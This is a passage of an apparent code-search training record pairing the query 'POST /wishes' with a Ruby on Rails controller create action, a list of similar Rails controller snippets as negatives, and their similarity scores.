end\n end", "def show\n @json = Punk::API.one_beer!(params[:id])\n render json: {\n beer: @json\n }\n create(@json)\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end", "def destroy\n if @wish.user_id == current_user.id\n @wish = Wish.find(params[:id])\n @wish.destroy\n render json: {}, status: :no_content\n end\n end", "def show\n @published = Published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @published }\n end\n end", "def index\n @thumbs = Thumb.all\n\n render json: @thumbs\n end", "def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end", "def index\n @shorties = Shorty.per_user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shorties }\n end\n end", "def show\n item = Item.find(params[:id])\n render json: item\n end", "def show\n @Love = Love.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @Love }\n end\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def show\n @grocery = Grocery.find(params[:id])\n\n render json: @grocery\n end", "def show\n @goal = Goal.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal }\n end\n end", "def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end", "def show\n render json: @favorite_route\n end", "def show\n @featured_song = FeaturedSong.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @featured_song }\n end\n end", "def show\n # accept the params\n # go to the db and get the correct recipe for that param\n p params[:id]\n @recipe = Recipe.find_by(id: params[:id])\n @ingredients = @recipe.ingredients.split(\", \").map {|ingredient| ingredient.capitalize}\n # send this to the view\n # show that data to the user\n render 'show.json.jb'\n end", "def show\n @goal_reward = GoalReward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goal_reward }\n end\n end", "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "def show\n @song = Song.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "def show\n @side_dish = SideDish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @side_dish }\n end\n end", "def index\n @weddings = Wedding.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weddings }\n end\n end" ]
[ "0.7184839", "0.7171834", "0.70841974", "0.70841974", "0.6775281", "0.671499", "0.6584657", "0.6511361", "0.64823955", "0.64786065", "0.64765525", "0.6347091", "0.6222626", "0.6214253", "0.61965126", "0.61599934", "0.61227614", "0.6074405", "0.6032576", "0.60155964", "0.600146", "0.59902483", "0.5951212", "0.5926223", "0.5926223", "0.5908398", "0.5891927", "0.5888745", "0.5888745", "0.5873311", "0.58702475", "0.5862807", "0.586233", "0.5859416", "0.5851932", "0.58489436", "0.5846021", "0.5830329", "0.5810094", "0.58095765", "0.580335", "0.58031946", "0.5800025", "0.57998025", "0.5797683", "0.5790266", "0.5789604", "0.5779195", "0.57685655", "0.57487005", "0.5746731", "0.5746151", "0.5737042", "0.5728598", "0.5727551", "0.572656", "0.5715868", "0.5713238", "0.5712536", "0.5702873", "0.5695586", "0.5695021", "0.5687585", "0.56779224", "0.5677919", "0.56721354", "0.56711954", "0.56626284", "0.56621265", "0.5659605", "0.56594676", "0.5648876", "0.5638526", "0.56380814", "0.56255877", "0.56255877", "0.56255877", "0.56255877", "0.56158084", "0.5614318", "0.5613791", "0.5613066", "0.56066674", "0.56042844", "0.5604252", "0.56036735", "0.56013656", "0.56001735", "0.5598255", "0.55949706", "0.55923826", "0.55900884", "0.55862814", "0.5585485", "0.55791175", "0.55791175", "0.55791175", "0.55791175", "0.55786145", "0.5577632" ]
0.70457643
4
GET /wishes/new GET /wishes/new.json
def new @wish = Wish.new respond_to do |format| format.html # new.html.erb format.json { render json: @wish } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @wishlistitem = Wishlistitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlistitem }\n end\n end", "def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish_list_item }\n end\n end", "def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end", "def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end", "def new\n @wanted = Wanted.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wanted }\n end\n end", "def new\n @like = Like.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @like }\n end\n end", "def new\n @have = Have.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @have }\n end\n end", "def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end", "def new\n @dish = Dish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dish }\n end\n end", "def new\n @dish = Dish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dish }\n end\n end", "def new\n @favorite = Favorite.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @favorite }\n end\n end", "def create\n @wish = Wish.create(wish_params)\n\n respond_to do |format|\n if @wish.save\n format.html { redirect_to @wish, notice: 'Wish was successfully created.' }\n format.json { render :show, status: :created, location: @wish }\n else\n format.html { render :new }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monkey }\n end\n end", "def new\n @weight = Weight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weight }\n end\n end", "def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end", "def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end", "def new\n @published = Published.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @published }\n end\n end", "def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @good }\n end\n end", "def new\n @needed_good = NeededGood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @needed_good }\n end\n end", "def new\n @thought = Thought.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thought }\n end\n end", "def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end", "def new\n @song_like = SongLike.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @song_like }\n end\n end", "def new\n @moose = Moose.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @moose }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @goal = Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @Love = Love.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @Love }\n end\n end", "def new\n @item = Item.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n \n end", "def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end", "def new\n @goody = Goody.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goody }\n end\n end", "def new\n @liked_item = LikedItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @liked_item }\n end\n end", "def new\n @publish = Publish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publish }\n end\n end", "def new\n @green = Green.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @green }\n end\n end", "def new\n @wish_list = WishList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list }\n end\n end", "def create\n \n @wish = current_user.wishes.build(params[:wish])\n if @wish.save\n flash[:success] = \"Wish created!\"\n redirect_to root_url\n else\n @feed_items = []\n render 'static_pages/home'\n end\n end", "def new\n @fav = Fav.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fav }\n end\n end", "def new\n @laugh = Laugh.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laugh }\n end\n end", "def create\n # user_id: current_user[:id], item_description: params[:item_description], item_link: params[:item_link], item_rank: params[:item_rank], item_image: params[:item_image], item_price: params[:item_price]\n \t@wish = Wish.new(wish_params)\n @wish.user = current_user\n \[email protected]\n\n wishList = Wish.where(\"user_id = #{@wish.user_id}\")\n render json: wishList\n\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @item }\n end\n end", "def new\n @item = Item.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @item }\n end\n end", "def new\n @pokeparty = Pokeparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pokeparty }\n end\n end", "def new\n @shoe = Shoe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shoe }\n end\n end", "def new\n @something = Something.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @something }\n end\n end", "def new\n @saying = Saying.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @saying }\n end\n end", "def new\n @goat = Goat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goat }\n end\n end", "def new\n @gitem = Gitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitem }\n end\n end", "def create\n wish = current_user.wishes.new(wish_params)\n if wish.save\n # for each of the keywords param, find the keyword in the keyword database,\n # if not found, create a new keyword and build a new relationship with the wish.\n [keywords_params[:keyword1], keywords_params[:keyword2], keywords_params[:keyword3]].each do |keyword|\n wish.wish_keywords.create(keyword_id: find_create_keyword(keyword))\n end\n\n if wish_params[:image]\n render json: { wish: wish, image: url_for(wish.image) }, status: :created\n else\n render json: { wish: wish, image: '' }, status: :created\n end\n else\n render json: { errors: wish.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def new\n @joke = Joke.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @joke }\n end\n end", "def new\n @wig = Wig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wig }\n end\n end", "def new\n @post_like = PostLike.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post_like }\n end\n end", "def new\n @favor = Favor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @favor }\n end\n end", "def new\n @favor = Favor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @favor }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interest }\n end\n end", "def new\n @fiction = Fiction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fiction }\n end\n end", "def create\n render json: Dish.create(dish_params)\n end", "def new\n @song = Song.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @song }\n end\n end", "def new\n @song = Song.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @song }\n end\n end", "def new\n @song = Song.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @song }\n end\n end", "def new\n @song = Song.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @song }\n end\n end", "def create\n @wishlistitem = Wishlistitem.new(params[:wishlistitem])\n\n respond_to do |format|\n if @wishlistitem.save\n format.html { redirect_to @wishlistitem, notice: 'Wishlistitem was successfully created.' }\n format.json { render json: @wishlistitem, status: :created, location: @wishlistitem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlistitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @title = t('admin.promotions.new.title')\n @promotion = Promotion.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @promotion }\n end\n end", "def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end", "def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully created.' }\n format.json { render json: @wish_list_item, status: :created, location: @wish_list_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @believer = Believer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @believer }\n end\n end", "def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end", "def new\n @meal = Meal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meal }\n end\n end", "def new\n @meal = Meal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meal }\n end\n end", "def new\n @playing = Playing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @playing }\n end\n end", "def new\n @fish_type = FishType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fish_type }\n end\n end", "def new\n @side_dish = SideDish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @side_dish }\n end\n end", "def new\n @hoge = Hoge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hoge }\n end\n end", "def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @badge }\n end\n end", "def new\n @pub = Pub.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pub }\n end\n end", "def new\n @shout = Shout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shout }\n end\n end", "def new\n @guitar = Guitar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @guitar }\n end\n end", "def new\n @interesting = Interesting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interesting }\n end\n end", "def new\n @wine = Wine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wine }\n end\n end", "def new\n @wine = Wine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wine }\n end\n end", "def new\n @song = Song.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @song }\n end\n end" ]
[ "0.75034636", "0.7397594", "0.712135", "0.712135", "0.6997838", "0.6956595", "0.69218665", "0.6855291", "0.6832216", "0.6832216", "0.680942", "0.6806758", "0.6797136", "0.6782294", "0.67808294", "0.6780439", "0.6733088", "0.67297685", "0.6728313", "0.67146295", "0.67120075", "0.6707049", "0.6695522", "0.6682363", "0.6677711", "0.6677711", "0.6677711", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6677656", "0.6648815", "0.66438836", "0.6636826", "0.66269416", "0.66243285", "0.661725", "0.66151524", "0.660711", "0.66021323", "0.66017514", "0.65990937", "0.6597844", "0.65975636", "0.65975636", "0.6595795", "0.65955013", "0.6585973", "0.65754396", "0.657499", "0.6569372", "0.6568651", "0.65632355", "0.6557441", "0.6555989", "0.655142", "0.655142", "0.6550864", "0.6537334", "0.65355754", "0.6513956", "0.6513956", "0.6513956", "0.6513956", "0.6513459", "0.651182", "0.6508499", "0.6503001", "0.6499991", "0.6497821", "0.6496816", "0.6496816", "0.6494903", "0.6494248", "0.64913064", "0.6490671", "0.6490604", "0.64885384", "0.6486949", "0.6484214", "0.6482263", "0.6470016", "0.6470016", "0.6467317" ]
0.7856075
0
POST /wishes POST /wishes.json
def create @wish = current_user.wishes.build(params[:wish]) if @wish.save flash[:success] = "Wish created!" redirect_to root_url else @feed_items = [] render 'static_pages/home' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @wish = Wish.create(wish_params)\n\n respond_to do |format|\n if @wish.save\n format.html { redirect_to @wish, notice: 'Wish was successfully created.' }\n format.json { render :show, status: :created, location: @wish }\n else\n format.html { render :new }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n wish = current_user.wishes.new(wish_params)\n if wish.save\n # for each of the keywords param, find the keyword in the keyword database,\n # if not found, create a new keyword and build a new relationship with the wish.\n [keywords_params[:keyword1], keywords_params[:keyword2], keywords_params[:keyword3]].each do |keyword|\n wish.wish_keywords.create(keyword_id: find_create_keyword(keyword))\n end\n\n if wish_params[:image]\n render json: { wish: wish, image: url_for(wish.image) }, status: :created\n else\n render json: { wish: wish, image: '' }, status: :created\n end\n else\n render json: { errors: wish.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def create\n # user_id: current_user[:id], item_description: params[:item_description], item_link: params[:item_link], item_rank: params[:item_rank], item_image: params[:item_image], item_price: params[:item_price]\n \t@wish = Wish.new(wish_params)\n @wish.user = current_user\n \[email protected]\n\n wishList = Wish.where(\"user_id = #{@wish.user_id}\")\n render json: wishList\n\n end", "def create\n @wish = Wish.new(wish_params)\n @wish.user = current_user\n\n respond_to do |format|\n if @wish.save\n format.html { redirect_to @wish, notice: 'Wish was successfully created.' }\n format.json { render action: 'show', status: :created, location: @wish }\n else\n format.html { render action: 'new' }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n @wishes = Wish.where(approved: true).order('random()').page(params[:page])\n\n if @user.save\n redirect_to root_path\n flash[:success] = \"Your wish has been submitted.\"\n else\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n render json: Dish.create(dish_params)\n end", "def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully created.' }\n format.json { render json: @wish_list_item, status: :created, location: @wish_list_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wishlist = Wishlist.new(params[:wishlist])\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render json: @wishlist, status: :created, location: @wishlist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wishlistitem = Wishlistitem.new(params[:wishlistitem])\n\n respond_to do |format|\n if @wishlistitem.save\n format.html { redirect_to @wishlistitem, notice: 'Wishlistitem was successfully created.' }\n format.json { render json: @wishlistitem, status: :created, location: @wishlistitem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wishlistitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @like = Like.new(like_params)\n if @like.save\n render json: @like, status: 201\n else\n render json: @like.errors, status: 422\n end\n end", "def create\n @wishlist = current_user.wishlists.build(params[:wishlist])\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully created.' }\n format.json { redirect_to wishlists_url }\n else\n format.html { render action: \"new\", error: @wishlist.errors }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wishlist = Wishlist.new(wishlist_params)\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render :show, status: :created, location: @wishlist }\n else\n format.html { render :new }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @like = Like.new(like_params)\n\n respond_to do |format|\n if @like.save\n format.json { render json: @like, status: :created }\n else\n format.json { render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n dish = Dish.where(name: params[:name]).first\n dish ||= Dish.create(name: params[:name], party: current_party, price: params[:price])\n\n OrderItem.create(user: current_user, dish: dish)\n\n render json: { :name => dish.name, :price => dish.price, :participants => [current_user.login] }\n end", "def create\n @wishlist = Wishlist.new(name: params[:wishlist][:name],\n user_id: current_user.email,\n shared: params[:wishlist][:shared])\n current_user.wishlists << @wishlist\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully created.' }\n format.json { render :index, status: :created, location: @wishlist }\n else\n format.html { render :new }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # debugger\n like = Like.new(like_params)\n\n if like.save\n render json: like\n else\n render json: like.errors.full_messages, status: 422\n end\n end", "def create\n @pizza = Pizza.new(pizza_params)\n if @pizza.save\n ActionCable.server.broadcast 'pizzas', {}\n render json: @pizza\n else\n render json: @pizza.errors, status: :unprocessable_entity\n end\n end", "def create\n @wanted_item = WantedItem.new(wanted_item_params)\n\n respond_to do |format|\n if @wanted_item.save\n format.html { redirect_to @wanted_item, notice: 'Wanted item was successfully created.' }\n format.json { render :show, status: :created, location: @wanted_item }\n else\n format.html { render :new }\n format.json { render json: @wanted_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @wishes = Wish.all\n end", "def index\n @wishes = Wish.all\n end", "def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end", "def create\n @favorite_dish = FavoriteDish.new(favorite_dish_params)\n\n respond_to do |format|\n if @favorite_dish.save\n format.html { redirect_to @favorite_dish, notice: 'Favorite dish was successfully created.' }\n format.json { render :show, status: :created, location: @favorite_dish }\n else\n format.html { render :new }\n format.json { render json: @favorite_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to wishes_url, notice: 'Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully created.') }\n format.xml { render :xml => @wish_list_item, :status => :created, :location => @wish_list_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def wish_params\n params.require(:wish).permit(:content, :name)\n end", "def create\n @song_like = SongLike.new(params[:song_like])\n\n respond_to do |format|\n if @song_like.save\n format.html { redirect_to @song_like, notice: 'Song like was successfully created.' }\n format.json { render json: @song_like, status: :created, location: @song_like }\n else\n format.html { render action: \"new\" }\n format.json { render json: @song_like.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n wishlist = Wishlist.new(wishlist_params)\n wishlist.venue_name = wishlist.venue_name.strip\n wishlist.user_id = current_user.id\n\n respond_to do |format|\n if wishlist.save\n response = render_to_string('wishlists/_wishlist_card', :layout => false, :locals => { :wishlist => wishlist })\n format.json { render json:{ html_data: response } }\n else\n # format.html { render :new }\n format.json { render json: wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wish_list = WishList.new(\n product_id: params[:product_id],\n user_id: params[:user_id]\n )\n respond_to do |format|\n if @wish_list.save\n format.html { redirect_to controller: \"account\", action: \"wishlist\" }\n format.json { render :show, status: :created, location: @wish_list }\n else\n format.html { render :new }\n format.json { render json: @wish_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @wish = Wish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish }\n end\n end", "def create\n @wishlist = current_user.wishlists.build(wishlist_params)\n\n respond_to do |format|\n if @wishlist.save\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully created.' }\n format.json { render :show, status: :created, location: @wishlist }\n else\n format.html { render :new }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @garnish = Garnish.new(garnish_params)\n\n respond_to do |format|\n if @garnish.save\n format.html { redirect_to garnishes_url, notice: 'Garnish was successfully created.' }\n format.json { render :show, status: :created, location: @garnish }\n else\n format.html { render :new }\n format.json { render json: @garnish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dish = Dish.new(params[:dish])\n\n respond_to do |format|\n if @dish.save\n format.html { redirect_to @dish, notice: 'Dish was successfully created.' }\n format.json { render json: @dish, status: :created, location: @dish }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dish = Dish.new(params[:dish])\n\n respond_to do |format|\n if @dish.save\n format.html { redirect_to @dish, notice: 'Dish was successfully created.' }\n format.json { render json: @dish, status: :created, location: @dish }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @music_like = MusicLike.new(params[:music_like])\n\n respond_to do |format|\n if @music_like.save\n format.html { redirect_to @music_like, :notice => 'Music like was successfully created.' }\n format.json { render :json => @music_like, :status => :created, :location => @music_like }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @music_like.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n city_id = params[:city_id] || params[:wish_item][:city_id]\n params[:wish_item].delete(:city_id) if params[:wish_item][:city_id].present?\n\n # Used by html call\n if params[:original_wish_item_id].present?\n original_wish_item = WishItem.find(params[:original_wish_item_id])\n end\n\n # Used by javascript call\n if params[:vouch_item_id].present?\n tags = []\n vouch_item = VouchItem.find(params[:vouch_item_id])\n vouch_item.tags.each do |tag|\n tags.push(tag.name)\n end\n end\n\n wish_list = WishList.find_or_create_by_user_id_and_city_id(current_user.id, city_id)\n wish_item = wish_list.wish_items.build(params[:wish_item])\n puts \"add item for business #{wish_item.business_id}\"\n\n if wish_item.save\n respond_to do |format|\n # Add taggings from original wish item to new wish item\n if original_wish_item.present?\n original_wish_item.wish_taggings.each do |tagging|\n add_tagging_with_params(id: wish_item.id, name: tagging.tag.name)\n end\n end\n\n format.html {\n flash[:notice] = \"The item has been successfully added to your wish list!\"\n redirect_to wish_lists_path\n }\n format.json {\n render json:\n {\n success: true,\n wish_item_id: wish_item.id,\n tags: tags\n }\n }\n end\n else\n respond_to do |format|\n format.html {\n flash[:alert] = wish_item.errors.full_messages\n redirect_to wish_lists_path\n }\n format.json {\n render json:\n {\n status: 422,\n errors: wish_item.errors.full_messages.join(\",\")\n }\n }\n end\n end\n end", "def index\n wishes = Wish.all.with_attached_image.where(is_secret: false)\n render json: { wishes: generate_image_url(wishes) }\n end", "def create\n @post_like = PostLike.new(post_like_params)\n\n respond_to do |format|\n if 